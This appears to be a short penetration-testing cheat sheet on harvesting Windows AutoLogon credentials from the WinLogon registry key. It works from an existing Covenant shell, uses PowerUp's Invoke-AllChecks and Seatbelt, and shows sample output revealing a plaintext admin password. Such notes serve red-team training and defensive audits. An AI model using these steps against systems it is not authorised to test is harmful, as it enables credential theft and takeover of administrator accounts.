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# AutoLogon exploitation

## Target requirements

* The target need to have those values in the registry in `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon`
  * AutoAdminLogon set to 1
  * DefaultDomainName with a valid domain set
  * DefaultUserName with a valid admin username
  * DefaultPassword with a valid admin pass

This basically means that the target when restarted will logon automatically without prompting for username and password.

## Exploitation

* You should have a shell with covenant or metasploit or netcat.\
  We will use Covenant here.

### Covenant with PowerUp

* In the shell we will type PowerShellImport, type enter and fetch PoweUp.ps1 (if you do not have it you can get it [here](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) )
* Click on execute
* type `powershell invoke-allchecks` in your shell
* Once the command executed it will do all sorts of check and we should see something like this:

```
[*] Checking for Autologon credentials in registry...

DefaultDomainName    : domain
DefaultUserName      : f.lastanme
DefaultPassword      : password
AltDefaultDomainName : 
AltDefaultUserName   : 
AltDefaultPassword   : 
```

### Covenant with Seatbelt

* Check for it with `Seatbelt WindowsAutoLogon`

```
====== WindowsAutoLogon ======

  DefaultDomainName              : domain
  DefaultUserName                : f.lastanme
  DefaultPassword                : password
  AltDefaultDomainName           : 
  AltDefaultUserName             : 
  AltDefaultPassword             : 
```

## Resources

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